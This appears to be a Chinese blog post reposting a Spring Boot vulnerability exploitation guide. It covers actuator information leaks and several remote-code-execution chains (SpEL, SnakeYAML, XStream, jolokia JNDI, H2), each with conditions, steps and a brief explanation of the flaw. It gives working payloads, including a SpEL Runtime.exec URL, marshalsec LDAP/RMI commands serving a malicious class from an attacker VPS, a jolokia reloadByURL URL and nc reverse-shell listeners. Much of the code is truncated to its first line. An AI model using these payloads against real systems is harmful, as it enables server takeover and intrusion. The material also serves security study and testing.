springboot相关漏洞学习
转载https://github.com/LandGrey/SpringBootVulExploit
信息泄露
路由地址及接口调用详情泄漏
开发环境切换为线上生产环境时,相关人员没有更改配置文件或忘记切换配置环境,导致此漏洞
直接访问以下几个路由,验证漏洞是否存在:
1 |
/api-docs |
除此之外,下面的路由有时也会包含(或推测出)一些接口地址信息,但是无法获得参数相关信息:
1 |
/mappings |
一般来讲,知道 spring boot 应用的相关接口和传参信息并不能算是漏洞;
但是可以检查暴露的接口是否存在未授权访问、越权或者其他业务型漏洞。
配置不当而暴露的路由
主要是因为程序员开发时没有意识到暴露路由可能会造成安全风险,或者没有按照标准流程开发,忘记上线时需要修改/切换生产环境的配置
其中对寻找漏洞比较重要接口的有:
1 |
/env、/actuator/env |
获取被星号脱敏的密码的明文
访问 /env 接口时,spring actuator 会将一些带有敏感关键词(如 password、secret)的属性名对应的属性值用 * 号替换达到脱敏的效果
RCE
whitelabel error page SpEL RCE
SPEL详细介绍文章:
由浅入深SpEL表达式注入漏洞
有趣的SpEL注入
利用条件:
- spring boot 1.1.0-1.1.12、1.2.0-1.2.7、1.3.0
- 至少知道一个触发 springboot 默认错误页面的接口及参数名
利用方法:
步骤一:找到一个正常传参处
比如发现访问 /article?id=xxx ,页面会报状态码为 500 的错误: Whitelabel Error Page,则后续 payload 都将会在参数 id 处尝试。
步骤二:执行 SpEL 表达式
输入/article?id=${7*7}
,如果发现报错页面将7*7
的值 49 计算出来显示在报错页面上,那么基本可以确定目标存在 SpEL 表达式注入漏洞。
由字符串格式转换成 0x** java 字节形式,方便执行任意代码:
1 |
# coding: utf-8 |
执行 calc 命令
1 |
article?id=${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x63,0x61,0x6c,0x63}))} |
漏洞原理:
- spring boot 处理参数值出错,流程进入 org.springframework.util.PropertyPlaceholderHelper 类中
- 此时 URL 中的参数值会用 parseStringValue 方法进行递归解析
- 其中 ${} 包围的内容都会被 org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration 类的 resolvePlaceholder 方法当作 SpEL 表达式被解析执行,造成 RCE 漏洞
spring cloud SnakeYAML RCE
利用条件:
- 可以 POST 请求目标网站的 /env 接口设置属性
- 可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)
- 目标依赖的 spring-cloud-starter 版本 < 1.3.0.RELEASE
- 目标可以请求攻击者的 HTTP 服务器(请求可出外网)
利用方法:
步骤一: 托管 yml 和 jar 文件
在自己控制的 vps 机器上开启一个简单 HTTP 服务器,端口尽量使用常见 HTTP 服务端口(80、443)
1 |
# 使用 python 快速开启 http server |
在网站根目录下放置后缀为 yml 的文件 example.yml,内容如下:
1 |
!!javax.script.ScriptEngineManager [ |
在网站根目录下放置后缀为 jar 的文件 yaml-payload.jar,内容是要执行的代码,代码编写及编译方式参考 yaml-payload
步骤二: 设置 spring.cloud.bootstrap.location 属性
spring 1.x
1 |
POST /env |
spring 2.x
1 |
POST /actuator/env |
步骤三: 刷新配置
spring 1.x
1 |
POST /refresh |
spring 2.x
1 |
POST /actuator/refresh |
漏洞原理:
- spring.cloud.bootstrap.location 属性被设置为外部恶意 yml 文件 URL 地址
- refresh 触发目标机器请求远程 HTTP 服务器上的 yml 文件,获得其内容
- SnakeYAML 由于存在反序列化漏洞,所以解析恶意 yml 内容时会完成指定的动作
- 先是触发 java.net.URL 去拉取远程 HTTP 服务器上的恶意 jar 文件
- 然后是寻找 jar 文件中实现 javax.script.ScriptEngineFactory 接口的类并实例化
- 实例化类时执行恶意代码,造成 RCE 漏洞
漏洞分析:
Exploit Spring Boot Actuator 之 Spring Cloud Env 学习笔记
Java SnakeYaml反序列化
漏洞分析:
SpringBoot SpEL表达式注入漏洞-分析与复现
eureka xstream deserialization RCE
利用条件:
- 可以 POST 请求目标网站的 /env 接口设置属性
- 可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)
- 目标使用的 eureka-client < 1.8.7(通常包含在 spring-cloud-starter-netflix-eureka-client 依赖中)
- 目标可以请求攻击者的 HTTP 服务器(请求可出外网)
利用方法:
步骤一:架设响应恶意 XStream payload 的网站
使用python3环境运行下边这个脚本(flsak_eureka.py)架设恶意网站。并根据实际情况修改脚本中反弹 shell 的 ip 地址和 端口号。
1 |
# -*- coding: utf-8 -*- |
步骤二:监听反弹 shell 的端口
一般使用 nc 监听端口,等待反弹 shell
1 |
nc -lvp 3333 |
步骤三:设置 eureka.client.serviceUrl.defaultZone 属性
spring 1.x
1 |
POST /env |
spring 2.x
1 |
POST /actuator/env |
步骤四:刷新配置
spring 1.x
1 |
POST /refresh |
spring 2.x
1 |
POST /actuator/refresh |
漏洞分析:
Spring Boot Actuator从未授权访问到getshell
jolokia logback JNDI RCE
利用条件:
- 目标网站存在 /jolokia 或 /actuator/jolokia 接口
- 目标使用了 jolokia-core 依赖(版本要求暂未知)并且环境中存在相关 MBean
- 目标可以请求攻击者的 HTTP 服务器(请求可出外网)
- JNDI 注入受目标 JDK 版本影响,jdk < 6u201/7u191/8u182/11.0.1(LDAP 方式)
利用方法:
步骤一:查看已存在的 MBeans
访问 /jolokia/list 接口,查看是否存在 ch.qos.logback.classic.jmx.JMXConfigurator 和 reloadByURL 关键词。
步骤二:托管 xml 文件
在自己控制的 vps 机器上开启一个简单 HTTP 服务器,端口尽量使用常见 HTTP 服务端口(80、443)
1 |
# 使用 python 快速开启 http server |
在根目录放置以 xml 结尾的 example.xml 文件,内容如下:
1 |
<configuration> |
步骤三:准备要执行的 Java 代码
编写优化过后的用来反弹 shell 的 Java 示例代码
JNDIObject.java,
1 |
/** |
使用兼容低版本 jdk 的方式编译:
1 |
javac -source 1.5 -target 1.5 JNDIObject.java |
使用下面命令架设对应的 ldap 服务:
1 |
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 1389 |
步骤五:监听反弹 shell 的端口
一般使用 nc 监听端口,等待反弹 shell
1 |
nc -lv 443 |
步骤六:从外部 URL 地址加载日志配置文件
⚠️ 如果目标成功请求了example.xml 并且 marshalsec 也接收到了目标请求,但是目标没有请求 JNDIObject.class,大概率是因为目标环境的 jdk 版本太高,导致 JNDI 利用失败。
替换实际的 your-vps-ip 地址访问 URL 触发漏洞:
1 |
/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/your-vps-ip!/example.xml |
漏洞原理:
- 直接访问可触发漏洞的 URL,相当于通过 jolokia 调用 ch.qos.logback.classic.jmx.JMXConfigurator 类的 reloadByURL 方法
- 目标机器请求外部日志配置文件 URL 地址,获得恶意 xml 文件内容
- 目标机器使用 saxParser.parse 解析 xml 文件 (这里导致了 xxe 漏洞)
- xml 文件中利用 logback 依赖的 insertFormJNDI 标签,设置了外部 JNDI 服务器地址
- 目标机器请求恶意 JNDI 服务器,导致 JNDI 注入,造成 RCE 漏洞
漏洞分析:
spring boot actuator rce via jolokia
jolokia Realm JNDI RCE
利用条件:
- 目标网站存在 /jolokia 或 /actuator/jolokia 接口
- 目标使用了 jolokia-core 依赖(版本要求暂未知)并且环境中存在相关 MBean
- 目标可以请求攻击者的服务器(请求可出外网)
- 普通 JNDI 注入受目标 JDK 版本影响,jdk < 6u141/7u131/8u121(RMI),但相关环境可绕过
利用方法:
步骤一:查看已存在的 MBeans
访问 /jolokia/list 接口,查看是否存在 type=MBeanFactory 和 createJNDIRealm 关键词。
步骤二:准备要执行的 Java 代码
编写优化过后的用来反弹 shell 的 Java 示例代码 JNDIObject.java。
步骤三:托管 class 文件
在自己控制的 vps 机器上开启一个简单 HTTP 服务器,端口尽量使用常见 HTTP 服务端口(80、443)
1 |
# 使用 python 快速开启 http server |
将步骤二中编译好的 class 文件拷贝到 HTTP 服务器根目录。
步骤四:架设恶意 rmi 服务
下载 marshalsec ,使用下面命令架设对应的 rmi 服务:
1 |
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://your-vps-ip:80/#JNDIObject 1389 |
步骤五:监听反弹 shell 的端口
一般使用 nc 监听端口,等待反弹 shell
1 |
nc -lvp 6666 |
步骤六:发送恶意 payload
根据实际情况修改 springboot-realm-jndi-rce.py 脚本中的目标地址,RMI 地址、端口等信息,然后在自己控制的服务器上运行。
1 |
import requests |
漏洞原理:
- 利用 jolokia 调用 createJNDIRealm 创建 JNDIRealm
- 设置 connectionURL 地址为 RMI Service URL
- 设置 contextFactory 为 RegistryContextFactory
- 停止 Realm
- 启动 Realm 以触发指定 RMI 地址的 JNDI 注入,造成 RCE 漏洞
漏洞分析:
[https://paper.seebug.org/851/](Attack Spring Boot Actuator via jolokia Part 2)
restart h2 database query RCE
利用条件:
- 可以 POST 请求目标网站的 /env 接口设置属性
- 可以 POST 请求目标网站的 /restart 接口重启应用
- 存在 com.h2database.h2 依赖(版本要求暂未知)
利用方法:
步骤一:设置 spring.datasource.hikari.connection-test-query 属性
⚠️ 下面payload 中的 ‘T5’ 方法每一次执行命令后都需要更换名称 (如 T6) ,然后才能被重新创建使用,否则下次 restart 重启应用时漏洞不会被触发
spring 1.x(无回显执行命令)
1 |
POST /env |
spring 2.x(无回显执行命令)
1 |
POST /actuator/env |
步骤二:重启应用
spring 1.x
1 |
POST /restart |
spring 2.x
1 |
POST /actuator/restart |
漏洞原理:
- spring.datasource.hikari.connection-test-query 属性被设置为一条恶意的 CREATE ALIAS 创建自定义函数的 SQL 语句
- 其属性对应 HikariCP 数据库连接池的 connectionTestQuery 配置,定义一个新数据库连接之前被执行的 SQL 语句
- restart 重启应用,会建立新的数据库连接
- 如果 SQL 语句中的自定义函数还没有被执行过,那么自定义函数就会被执行,造成 RCE 漏洞
漏洞分析:
remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database
h2 database console JNDI RCE
利用条件:
- 存在 com.h2database.h2 依赖(版本要求暂未知)
- spring 配置中启用 h2 console spring.h2.console.enabled=true
- 目标可以请求攻击者的服务器(请求可出外网)
- JNDI 注入受目标 JDK 版本影响,jdk < 6u201/7u191/8u182/11.0.1(LDAP 方式)
利用方法:
步骤一:访问路由获得 jsessionid
直接访问目标开启 h2 console 的默认路由 /h2-console,目标会跳转到页面 /h2-console/login.jsp?jsessionid=xxxxxx,记录下实际的 jsessionid=xxxxxx 值。
步骤二:准备要执行的 Java 代码
编写优化过后的用来反弹 shell 的 Java 示例代码 JNDIObject.java,
使用兼容低版本 jdk 的方式编译:
1 |
javac -source 1.5 -target 1.5 JNDIObject.java |
然后将生成的 JNDIObject.class 文件拷贝到 步骤二 中的网站根目录。
步骤三:托管 class 文件
在自己控制的 vps 机器上开启一个简单 HTTP 服务器,端口尽量使用常见 HTTP 服务端口(80、443)
1 |
# 使用 python 快速开启 http server |
将步骤二中编译好的 class 文件拷贝到 HTTP 服务器根目录。
步骤四:架设恶意 ldap 服务
下载 marshalsec ,使用下面命令架设对应的 ldap 服务:
1 |
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 1389 |
步骤五:监听反弹 shell 的端口
一般使用 nc 监听端口,等待反弹 shell
1 |
nc -lv 443 |
步骤六:发包触发 JNDI 注入
根据实际情况,替换下面数据中的 jsessionid=xxxxxx、www.example.com 和 ldap://your-vps-ip:1389/JNDIObject
1 |
POST /h2-console/login.do?jsessionid=xxxxxx |
漏洞分析:
mysql jdbc deserialization RCE
参考链接
https://github.com/LandGrey/SpringBootVulExploit
https://www.t00ls.net/articles-56671.html
有趣的SpEL注入:https://xz.aliyun.com/t/9252
JAVA JNDI注入知识详解:http://blog.topsec.com.cn/java-jndi%E6%B3%A8%E5%85%A5%E7%9F%A5%E8%AF%86%E8%AF%A6%E8%A7%A3/
Java安全之JNDI注入:https://www.anquanke.com/post/id/221917
https://www.anquanke.com/post/id/212186
FROM :blog.cfyqy.com | Author:cfyqy
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论